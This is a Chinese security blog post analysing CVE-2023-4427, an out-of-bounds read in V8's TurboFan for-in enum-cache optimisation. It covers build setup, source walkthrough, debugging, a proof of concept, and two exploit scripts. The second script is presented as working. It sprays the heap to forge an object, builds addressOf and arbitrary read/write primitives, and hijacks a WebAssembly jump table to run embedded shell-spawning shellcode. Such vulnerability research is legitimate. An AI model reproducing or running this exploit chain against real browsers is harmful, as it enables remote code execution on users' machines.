查看原文
其他

CVE-2023-4427:ReduceJSLoadPropertyWithEnumeratedKey 中的越界访问

XiaozaYa 看雪学苑 2024-07-16




前言


之前分析调试漏洞时,几乎都是对着别人的poc/exp调试,感觉对自己的提升不是很大,所以后面分析漏洞时尽可能全面分析,从漏洞产生原理、如何稳定触发进行探索,并尝试自己写poc/exp。




环境搭建


git checkout 12.2.149
gclient sync -D
git apply diff.patch
gn gen out/debug --args="symbol_level=2 blink_symbol_level=2 is_debug=true enable_nacl=false dcheck_always_on=false v8_enable_sandbox=false"
ninja -C out/debug d8


diff.patch如下:


diff --git a/src/objects/map-updater.cc b/src/objects/map-updater.cc
index 7d04b064177..d5f3b169487 100644
--- a/src/objects/map-updater.cc
+++ b/src/objects/map-updater.cc
@@ -1041,13 +1041,6 @@ MapUpdater::State MapUpdater::ConstructNewMap() {
// the new descriptors to maintain descriptors sharing invariant.
split_map->ReplaceDescriptors(isolate_, *new_descriptors);

- // If the old descriptors had an enum cache, make sure the new ones do too.
- if (old_descriptors_->enum_cache()->keys()->length() > 0 &&
- new_map->NumberOfEnumerableProperties() > 0) {
- FastKeyAccumulator::InitializeFastPropertyEnumCache(
- isolate_, new_map, new_map->NumberOfEnumerableProperties());
- }
-
if (has_integrity_level_transition_) {
target_map_ = new_map;
state_ = kAtIntegrityLevelSource;





for-in && enum cache


最初接触enum cache是在V8的官方博客Fast for-in in V8(https://v8.dev/blog/fast-for-in)中,其介绍了V8是如何实现快速的for-in语句的,详细的内容可以参考上述官方博客。


总的来说for-in语句用于遍历对象的可枚举属性(包括原型链),在V8中其设计大概如下:


function* EnumerateObjectProperties(obj) {
const visited = new Set();
for (const key of Reflect.ownKeys(obj)) {
if (typeof key === 'symbol') continue;
const desc = Reflect.getOwnPropertyDescriptor(obj, key);
if (desc && !visited.has(key)) {
visited.add(key);
if (desc.enumerable) yield key;
}
}
const proto = Reflect.getPrototypeOf(obj);
if (proto === null) return;
for (const protoKey of EnumerateObjectProperties(proto)) {
if (!visited.has(protoKey)) yield protoKey;
}
}


可以看到,其首要的工作就是迭代遍历对象及原型链上的可枚举属性从而收集所有的可枚举keys。那么V8为了优化这一过程,配合V8的隐藏类机制提出了enum cache

我们知道
V8通过隐藏类或所谓的Map来跟踪对象的结构。具有相同Map的对象具有相同的结构。此外,每个Map都有一个共享数据结构——描述符数组,其中包含有关每个属性的详细信息,例如属性存储在对象上的位置,属性名称以及是否可枚举等属性信息。为了避免反复的访问描述符数组和检测相关属性,V8将可枚举对象内属性和快属性的key和位置index保存在了enum cache


注:enum cache保存在描述符数组中,而字典模式是不具有描述符数组的,而对于具有描述符数组的element其也默认就是可枚举的,而对于elements的键查找是非常简单的。所以这里enum cache主要就是针对快属性和对象内属性的

所以如果对象只要快属性或对象内属性,那么在执行
for-in时,只需要访问一次描述符数组,从描述符数组中拿到enum cache即可找到所有的可枚举属性,然后遍历原型链,取原型链的enum cache(如果有的话)。当然如果对象中还有elements呢?这时也会取enum cache,但是会进行一些其它的操作,大致流程如下:

// For-In Prepare:
FixedArray* keys = nullptr;
Map* original_map = object->map();
if (original_map->HasEnumCache()) {
if (object->HasNoElements()) {
keys = original_map->GetCachedEnumKeys();
} else {
keys = object->GetCachedEnumKeysWithElements();
}
} else {
keys = object->GetEnumKeys();
}

// For-In Body:
for (size_t i = 0; i < keys->length(); i++) {
// For-In Next:
String* key = keys[i];
if (!object->HasProperty(key) continue;
EVALUATE_FOR_IN_BODY();
}






漏洞分析


对于for-in语句,V8会将其转换成一个循环,其主要使用 3 个关键的操作:ForInEnumerateForInPrepareForInNext,其中ForInEnumerate/ForInPrepare主要就是收集对象所有的可枚举属性,然后ForInNext用来遍历这些收集的可枚举属性,对于对象属性的访问会调用JSLoadProperty



而如果对象存在enum_cache,则在InliningPhase阶段会对JSLoadProperty进行优化:

InliningPhase存在一个native_context_specialization裁剪器:


struct InliningPhase {
......
AddReducer(data, &graph_reducer, &dead_code_elimination);
AddReducer(data, &graph_reducer, &checkpoint_elimination);
AddReducer(data, &graph_reducer, &common_reducer);
AddReducer(data, &graph_reducer, &native_context_specialization);
AddReducer(data, &graph_reducer, &context_specialization);
AddReducer(data, &graph_reducer, &intrinsic_lowering);
AddReducer(data, &graph_reducer, &call_reducer);
......


该裁剪器会对一些JS原生操作进行优化:


Reduction JSNativeContextSpecialization::Reduce(Node* node) {
switch (node->opcode()) {
case IrOpcode::kJSAdd:
return ReduceJSAdd(node);
......
case IrOpcode::kJSLoadProperty:
return ReduceJSLoadProperty(node);
case IrOpcode::kJSSetKeyedProperty:
return ReduceJSSetKeyedProperty(node);
......
default:
break;
}
return NoChange();
}


可以看到这里会调用ReduceJSLoadPropertyJSLoadProperty节点进行优化:


Reduction JSNativeContextSpecialization::ReduceJSLoadProperty(Node* node) {
JSLoadPropertyNode n(node);
PropertyAccess const& p = n.Parameters();
Node* name = n.key(); // obj[key]
// 从之前的 IR 图中可以看出,key 是通过 ForInNext 进行遍历的,所以这里就是 JSForInNext 节点
if (name->opcode() == IrOpcode::kJSForInNext) {
// 调用 ReduceJSLoadPropertyWithEnumeratedKey 进行优化
Reduction reduction = ReduceJSLoadPropertyWithEnumeratedKey(node);
if (reduction.Changed()) return reduction;
}

if (!p.feedback().IsValid()) return NoChange();
Node* value = jsgraph()->Dead();
return ReducePropertyAccess(node, name, base::nullopt, value,
FeedbackSource(p.feedback()), AccessMode::kLoad);
}


对于for-in中的属性加载会调用ReduceJSLoadPropertyWithEnumeratedKey进行优化:

这里建议读者自己好好看下这个函数中本身的注释,其写的很清楚。

Reduction JSNativeContextSpecialization::ReduceJSLoadPropertyWithEnumeratedKey(
Node* node) {
// We can optimize a property load if it's being used inside a for..in:
// for (name in receiver) {
// value = receiver[name];
// ...
// }
//
// If the for..in is in fast-mode, we know that the {receiver} has {name}
// as own property, otherwise the enumeration wouldn't include it. The graph
// constructed by the BytecodeGraphBuilder in this case looks like this:

// receiver
// ^ ^
// | |
// | +-+
// | |
// | JSToObject
// | ^
// | |
// | |
// | JSForInNext
// | ^
// | |
// +----+ |
// | |
// | |
// JSLoadProperty

// If the for..in has only seen maps with enum cache consisting of keys
// and indices so far, we can turn the {JSLoadProperty} into a map check
// on the {receiver} and then just load the field value dynamically via
// the {LoadFieldByIndex} operator. The map check is only necessary when
// TurboFan cannot prove that there is no observable side effect between
// the {JSForInNext} and the {JSLoadProperty} node.
//
// Also note that it's safe to look through the {JSToObject}, since the
// [[Get]] operation does an implicit ToObject anyway, and these operations
// are not observable.

DCHECK_EQ(IrOpcode::kJSLoadProperty, node->opcode());
Node* receiver = NodeProperties::GetValueInput(node, 0); // obj
JSForInNextNode name(NodeProperties::GetValueInput(node, 1)); // JsForInNext
Node* effect = NodeProperties::GetEffectInput(node);
Node* control = NodeProperties::GetControlInput(node);
// 存在 EnumCache
if (name.Parameters().mode() != ForInMode::kUseEnumCacheKeysAndIndices) {
return NoChange();
}

Node* object = name.receiver(); // 理论上是 JSToObject 节点
Node* cache_type = name.cache_type();
Node* index = name.index();
if (object->opcode() == IrOpcode::kJSToObject) {
object = NodeProperties::GetValueInput(object, 0); // object = receiver
}
if (object != receiver) return NoChange();

// No need to repeat the map check if we can prove that there's no
// observable side effect between {effect} and {name].
// 对 map 进行检查
if (!NodeProperties::NoObservableSideEffectBetween(effect, name)) {
// Check that the {receiver} map is still valid.
Node* receiver_map = effect =
graph()->NewNode(simplified()->LoadField(AccessBuilder::ForMap()),
receiver, effect, control);
Node* check = graph()->NewNode(simplified()->ReferenceEqual(), receiver_map,
cache_type);
effect =
graph()->NewNode(simplified()->CheckIf(DeoptimizeReason::kWrongMap),
check, effect, control);
}

// Load the enum cache indices from the {cache_type}.
// 后面就不用多说了,descriptor_array => enum_cache => enum_indices
Node* descriptor_array = effect = graph()->NewNode(
simplified()->LoadField(AccessBuilder::ForMapDescriptors()), cache_type,
effect, control);
Node* enum_cache = effect = graph()->NewNode(
simplified()->LoadField(AccessBuilder::ForDescriptorArrayEnumCache()),
descriptor_array, effect, control);
Node* enum_indices = effect = graph()->NewNode(
simplified()->LoadField(AccessBuilder::ForEnumCacheIndices()), enum_cache,
effect, control);

// Ensure that the {enum_indices} are valid.
Node* check = graph()->NewNode(
simplified()->BooleanNot(),
graph()->NewNode(simplified()->ReferenceEqual(), enum_indices,
jsgraph()->EmptyFixedArrayConstant()));
effect = graph()->NewNode(
simplified()->CheckIf(DeoptimizeReason::kWrongEnumIndices), check, effect,
control);

// Determine the key from the {enum_indices}.
Node* key = effect = graph()->NewNode(
simplified()->LoadElement(
AccessBuilder::ForFixedArrayElement(PACKED_SMI_ELEMENTS)),
enum_indices, index, effect, control);

// Load the actual field value.
Node* value = effect = graph()->NewNode(simplified()->LoadFieldByIndex(),
receiver, key, effect, control);
ReplaceWithValue(node, value, effect, control);
return Replace(value);
}


总的来说对于将for-in中的快属性访问,会将JSLoadProperty节点优化成obj map check+LoadFieldByIndex节点。


接下来我们去看下经过trubofan优化后的代码的具体执行逻辑。获取map




执行完Builtins_ForInEnumerate后,返回值rax就是map的值:




获取描述符数组:




获取EnumCache




获取EnumCache.keys




获取map.enum_length



enum_lengthenum_cachemap保存在栈上:



每次执行完callback后,都会检测obj2map是否被改变,如果被改变,则直接去优化;否则通过保存在栈上的map获取描述符数组,从而获取enum_cache,进而获取enum_cache.indices,这里会检测enum_cache.indices是否为空,如果为空则直接去优化。




但是这里的enum_length并没有更新,使用的还是之前保存在栈上的值:


这里debug版本有检测,所以没办法展示,而release版本又用不了job命令,有点难调试,所以这里得两个对着调(说实话,挺麻烦的,这里其实可以直接在release中设置一下的)

poc如下:


const obj1 = {};
obj1.a = 1;

const obj2 = {};
obj2.a = 1;
obj2.b = 2;

const obj3 = {};
obj3.a = 1;
obj3.b = 2;
obj3.c = 3;

// init enum cache
for (let i in obj2) {}

function trigger(callback) {
for (let key in obj2) {
callback();
console.log(obj2[key]);
}
}

%PrepareFunctionForOptimization(trigger);
trigger(_=>_);
trigger(_=>_);
%OptimizeFunctionOnNextCall(trigger);
trigger(_=>_);

trigger(
_=>{
obj3.c = 1.1;
for (let i in obj1) {}
}
);


调试可以看到,在执行完callback后,map->descriptor_array->enum_cache已经被修改,其中enum_cache.keys/indices数组的大小都为 1(这里存在指针压缩,所以要右移一位),但是这里栈中保存的enum_length却还是 2。

这里是真不知道map上的enum length的偏移是多少



POC输出如下:




可以看到这里明显存在问题,本来应该输出 2,但是最后却输出为 0,这里简单调试一下。


在经过callback后,obj2enum_cache.indices数组如下:




上面说了,这里的使用的enum_length仍然是栈上保存的 2,所以这里会执行第二次遍历:




这时取出的indice0x6a5,跟上面是吻合的,然后这里存在指针压缩,所以还要经过右移处理,这里的r8指向的是对象起始地址,r8+0xb是对象内属性存储的起始位置,r12是经过右移后的indice

这里按理说应该是[r8 + r12*4 + 0xb]的,但是调试发现该POC就是走的这条路径......


这里可以看下[r8 + r12*2 + 0xb]处的值:




可以看到其值为 0,我们尝试修改一下值为 0xdea4:




最后输出如下:




根据输出可以知道,我们之前的分析是对的(这里存在指针压缩,所以要右移一位,说了很多次了,后面就不多说了)





漏洞利用


根据上面的漏洞分析,我们可以知道其存在一个似乎不可控的越界读的漏洞。为啥说似乎不可控呢?通过上面的分析,我们可以知道这里越界读是由indice决定的,在上面的例子中就是enum_cache.indices[1],所以如果想实现精确的越界读,则需要控制enum_cache.indices[1]。所以接下来我们得去研究下enum_cache的内存布局。


调试代码如下:


const obj1 = {};
obj1.a = 1;

const obj2 = {};
obj2.a = 1;
obj2.b = 2;

const obj3 = {};
obj3.a = 1;
obj3.b = 2;
obj3.c = 3;

obj3.c = 1.1;
for (let i in obj1) {}

%DebugPrint(obj2);
%SystemBreak();


这里主要关注obj2enum_cache(其实都一样,毕竟是共享的),其布局如下:




可以看到这里enum_cache是在old_space分配的,从源码中也可以得知:


// 可以看到这里默认的分配方式就是 Old space / Lo space
static Handle<FixedArray> InitializeFastPropertyEnumCache(
Isolate* isolate, Handle<Map> map, int enum_length,
AllocationType allocation = AllocationType::kOld);

Handle<FixedArray> FastKeyAccumulator::InitializeFastPropertyEnumCache(
Isolate* isolate, Handle<Map> map, int enum_length,
AllocationType allocation) {
......
Handle<FixedArray> keys = isolate->factory()->NewFixedArray(enum_length, allocation);
......
if (fields_only) {
indices = isolate->factory()->NewFixedArray(enum_length, allocation);
......


所以如果我们可以找到一些对象,其部分内容可控并且也使用AllocationType::kOld进行分配,其就会紧跟在enum_cache后面分配,这时我们调整obj2的初始大小即可实现精确越界读。所以问题转换到了如何在old space上分配内容可控对象。


笔者做了如下尝试:

◆最开始本想利用gc来实现,但是其也是不可控的,因为你不能保障对象晋升时,目标对象总是与indices有固定偏移(测试可以知道,几乎不固定,并且gc会打乱之前的堆布局,主要是其它对象可能跑前面去了);


◆然后笔者想着直接利用enum_cache.keys/indiceslength字段去进行控制不就完了,但是测试发现在笔者机器上,当属性个数超出 0x13 时就会切换成字典模式,字典模式是不存在enum_cache的(毕竟描述符数组都没了);


◆最后笔者尝试在V8源码中全局搜索AllocationType::kOld,看看哪些代码逻辑会利用其进行堆分配,但是也没有找到合适的对象。


所以为什么我是菜鸡?因为我只会看官方WP,官方提供了一个POC,其中提供一个函数可以在紧接着indices后面分配内容。

其实我发现了字符串是直接分配在old_space上的,但是其始终在indices的上方,不知道为啥


但是我思考了一下,其实我们没必要实现精确控制,根据V8指针压缩堆分配特性,obj2enum_cachemap偏移始终是0x6a5。然后由于只有一个越界读,所以这里直接用固定的map去尝试,所以exp不具备通用性。


这里固定的map其实就是上面说的指针压缩堆分配特性,但是非常不稳定

所以我们尝试写针对特定版本的利用,这里感觉不太好说,所以直接画了一张图:


理论上victim_arrayaddr/map/element偏移都是固定的,所以这里我们可以直接用而无需泄漏,所以我们可以在victim_array中伪造一个Array(其就是victim_array本身,这里伪造的len可以改大一些),然后在obj2后面放置一个fake_object_array数组,其内容全是伪造的Array的地址偏移(由于指针标记,所以记得地址要加1)。


这里在越界读的时候,越界的地址为obj2_addr + 0xb + 0x6a4,其有很大的概率会落在fake_object_array_element中,而其保存的内容为一个地址,所以会对其进行解析,查看指向位置的map发现是个对象,所以这里就会返回一个伪造的对象fake_object。我们可以通过victim_array修改fake_objectelemetlen,修改其len可以实现越界读写,修改其element可以实现 4GB 内范围的任意地址读写。然后就可以直接劫持函数对象的code_entry进行利用。

问题:
这种利用方式理论上可行,笔者遇到过两次,但是每次都没有成功完成利用,主要有以下问题:

◆1、由于gc从而导致victim_arrayaddr/map/element发生改变;

◆2、测试发现没有触发gc,但是victim_array却发生了重新分配,导致之前的内存被释放,然后写上了无效数据;

◆3、写利用非常麻烦,不知道为啥,只要添加一些代码就会使得victim_array每次的map/element发生变化(可能是由于代码触发的内存分配,比如print也存在着内存的分配)。


所以笔者并没有成功完成利用,最后夭折的exp如下:


var buf = new ArrayBuffer(8);
var dv = new DataView(buf);
var u8 = new Uint8Array(buf);
var u32 = new Uint32Array(buf);
var u64 = new BigUint64Array(buf);
var f32 = new Float32Array(buf);
var f64 = new Float64Array(buf);
var roots = new Array(0x30000);
var index = 0;

function pair_u32_to_f64(l, h) {
u32[0] = l;
u32[1] = h;
return f64[0];
}

function u64_to_f64(val) {
u64[0] = val;
return f64[0];
}


function f64_to_u64(val) {
f64[0] = val;
return u64[0];
}

function set_u64(val) {
u64[0] = val;
}

function set_l(l) {
u32[0] = l;
}

function set_h(h) {
u32[1] = h;
}

function get_u64() {
return u64[0];
}

function get_f64() {
return f64[0];
}

function get_fl(val) {
f64[0] = val;
return u32[0];
}

function get_fh(val) {
f64[0] = val;
return u32[1];
}

function add_ref(obj) {
roots[index++] = obj;
}

function major_gc() {
new ArrayBuffer(0x7fe00000);
}

function minor_gc() {
for (let i = 0; i < 8; i++) {
add_ref(new ArrayBuffer(0x200000));
}
add_ref(new ArrayBuffer(8));
}

function hexx(str, val) {
console.log(str+": 0x"+val.toString(16).padStart(16, "0"));
}


function sleep(ms) {
return new Promise((resolve) => setTimeout(resolve, ms));
}


minor_gc();
major_gc();
major_gc();

var victim_array = [3.694396909718e-311, 1.6976101072e-313, 1.1, 1.1];
//%DebugPrint(victim_array);
var float_array = [2.2, 2.2, 2.2, 2.2];
var object_array = [0xdea4n, {}, {}, {}];
var obj1 = {};
obj1.a = 1;
var obj2 = {};
obj2.a = 1;
obj2.b = 2;
var fake_object_array = new Array(200).fill(5.787382781920796e-309);
var obj3 = {};
obj3.a = 1;
obj3.b = 2;
obj3.c = 3;
// init enum_cache
for (let i in obj2) {}

function trigger(callback) {
for (let key in obj2) {
if (key == "b") {
callback();
let fake_object = obj2[key];
return fake_object;
}
}
}

for (let i = 0; i < 0x10000; i++) {
trigger(_=>_);
trigger(_=>_);
trigger(_=>_);
trigger(_=>_);
}


%DebugPrint(victim_array);
var fake_object = trigger(
_=>
{
obj3.c = 3.14;
for (let key in obj1) {}
}
);

print(u64_to_f64(0x000006cd00451b8dn));
print(u64_to_f64(0x0000000800042955n));
print(u64_to_f64(0x0004295d0004295dn));
//%DebugPrint(obj2);
//%DebugPrint(fake_object_array);
%DebugPrint(fake_object);
//%SystemBreak();


后面糊了一个利用脚本,我的环境有沙箱,
TypeArray/DataView不存在未压缩指针,最后劫持的wasmjump_table_start,然后打的立即数shellcode


var buf = new ArrayBuffer(8);
var dv = new DataView(buf);
var u8 = new Uint8Array(buf);
var u32 = new Uint32Array(buf);
var u64 = new BigUint64Array(buf);
var f32 = new Float32Array(buf);
var f64 = new Float64Array(buf);
var roots = new Array(0x30000);
var index = 0;

function pair_u32_to_f64(l, h) {
u32[0] = l;
u32[1] = h;
return f64[0];
}

function u64_to_f64(val) {
u64[0] = val;
return f64[0];
}


function f64_to_u64(val) {
f64[0] = val;
return u64[0];
}

function set_u64(val) {
u64[0] = val;
}

function set_l(l) {
u32[0] = l;
}

function set_h(h) {
u32[1] = h;
}

function get_u64() {
return u64[0];
}

function get_f64() {
return f64[0];
}

function get_fl(val) {
f64[0] = val;
return u32[0];
}

function get_fh(val) {
f64[0] = val;
return u32[1];
}

function add_ref(obj) {
roots[index++] = obj;
}

function major_gc() {
new ArrayBuffer(0x7fe00000);
}

function minor_gc() {
for (let i = 0; i < 8; i++) {
add_ref(new ArrayBuffer(0x200000));
}
add_ref(new ArrayBuffer(8));
}

function hexx(str, val) {
console.log(str+": 0x"+val.toString(16).padStart(16, "0"));
}


function sleep(ms) {
return new Promise((resolve) => setTimeout(resolve, ms));
}


var spray_array = Array(0xf700);
var data_start_addr = 0x00442130;
var map_addr = data_start_addr + 0x1000;
var fake_object_addr = map_addr + 0x1000;
spray_array[(map_addr-data_start_addr) / 8] = pair_u32_to_f64(data_start_addr+0x200, 0x32040404);
spray_array[(map_addr-data_start_addr) / 8 + 1] = u64_to_f64(0x0a0007ff15000842n);
spray_array[(fake_object_addr-data_start_addr) / 8] = pair_u32_to_f64(map_addr+1, 0x6cd);
spray_array[(fake_object_addr-data_start_addr) / 8 + 1] = pair_u32_to_f64(0x004c2129, 0x20);

var leak_object_array = new Array(0xf700).fill({});
//%DebugPrint(spray_array);
//%SystemBreak();
var obj1 = {};
obj1.a = 1;
var obj2 = {};
obj2.a = 1;
obj2.b = 2;
var fake_object_array = new Array(400).fill(pair_u32_to_f64(fake_object_addr+1, fake_object_addr+1));
var obj3 = {};
obj3.a = 1;
obj3.b = 2;
obj3.c = 3;
// init enum_cache
for (let i in obj2) {}

function trigger(callback) {
for (let key in obj2) {
if (key == "b") {
callback();
let fake_object = obj2[key];
return fake_object;
}
}
}

for (let i = 0; i < 0x10000; i++) {
trigger(_=>_);
trigger(_=>_);
trigger(_=>_);
trigger(_=>_);
}

var evil = trigger(
_=>
{
obj3.c = 3.14;
for (let key in obj1) {}
}
);

//print(u64_to_f64(0x000006cd00451b8dn));
//print(u64_to_f64(0x0000000800042955n));
//print(u64_to_f64(0x0004295d0004295dn));
//%DebugPrint(obj2);
//%DebugPrint(fake_object_array);
//%DebugPrint(spray_array);
//%DebugPrint(leak_object_array);
//%DebugPrint(evil);


function addressOf(obj) {
spray_array[(fake_object_addr-data_start_addr) / 8 + 1] = pair_u32_to_f64(0x004c2129, 0x20);
leak_object_array[0] = obj
return get_fl(evil[0]);
}

function arb_read_cage(addr) {
spray_array[(fake_object_addr-data_start_addr) / 8 + 1] = pair_u32_to_f64(addr-8, 0x20);
return f64_to_u64(evil[0]);
}

function arb_write_half_cage(addr, val) {
let orig_val = arb_read_cage(addr);
evil[0] = pair_u32_to_f64(orig_val&0xffffffff, val);
}

function arb_write_full_cage(addr, val) {
spray_array[(fake_object_addr-data_start_addr) / 8 + 1] = pair_u32_to_f64(addr-8, 0x20);
evil[0] = u64_to_f64(val);
}

//var test = {a:"a"};
//%DebugPrint(test);
//hexx("test_obj_addr", addressOf(test));


//var raw_buf = new ArrayBuffer(0x200);
//var dv = new DataView(raw_buf);
//dv.setBigInt64(0, 0xdea4n, true);
//let raw_buf_addr = addressOf(raw_buf);
//hexx("raw_buf_addr", raw_buf_addr);

var code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 8, 2, 96, 0, 1, 124, 96, 0, 0, 3, 3, 2, 0, 1, 7, 14, 2, 4, 109, 97, 105, 110, 0, 0, 3, 112, 119, 110, 0, 1, 10, 76, 2, 71, 0, 68, 104, 110, 47, 115, 104, 88, 235, 7, 68, 104, 47, 98, 105, 0, 91, 235, 7, 68, 72, 193, 224, 24, 144, 144, 235, 7, 68, 72, 1, 216, 72, 49, 219, 235, 7, 68, 80, 72, 137, 231, 49, 210, 235, 7, 68, 49, 246, 106, 59, 88, 144, 235, 7, 68, 15, 5, 144, 144, 144, 144, 235, 7, 26, 26, 26, 26, 26, 26, 11, 2, 0, 11]);
var module = new WebAssembly.Module(code);
var instance = new WebAssembly.Instance(module, {});
var wmain = instance.exports.main;
for (let j = 0x0; j < 10000; j++) {
wmain();
}

let instance_addr = addressOf(instance);
hexx("instance_addr", instance_addr);
let jump_table_addr = instance_addr + 0x48;

let rwx_addr = arb_read_cage(jump_table_addr);
hexx("rwx_addr", rwx_addr);

arb_write_full_cage(jump_table_addr, rwx_addr+0x81an-5n);
var pwn = instance.exports.pwn;
pwn();
//%DebugPrint(instance);
//%SystemBreak();


效果如下:






总结


这个漏洞笔者没有独立写出poc/exp,但是自己也经过了大量的思考和调试,并不是像之前一样直接拿着poc就开始搞。调试分析这个漏洞花了接近两天的时间,其中漏洞分析花了一天,漏洞利用花了一天,但是最后还是没有成功写出exp,后面看看针对该类漏洞有没有什么好的利用办法。成功完成利用,nice!


参考(具体链接见“阅读原文”原帖)

原作者对漏洞原理的分析
CVE-2023-4427 PoC : Out of bounds memory access in V8.
强网杯2023Final-D8利用分析——从越界读到任意代码执行(CVE-2023-4427)
Fast for-in in V8



看雪ID:XiaozaYa

https://bbs.kanxue.com/user-home-965217.htm

*本文为看雪论坛精华文章,由 XiaozaYa 原创,转载请注明来自看雪社区



# 往期推荐

1、怎么让 IDA 的 F5 支持一种新指令集?

2、2024腾讯游戏安全大赛-安卓赛道决赛VM分析与还原

3、Windows主机入侵检测与防御内核技术深入解析

4、系统总结ARM基础

5、AliyunCTF 2024 - BadApple



球分享

球点赞

球在看



点击阅读原文查看更多

继续滑动看下一个
向上滑动看下一个

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存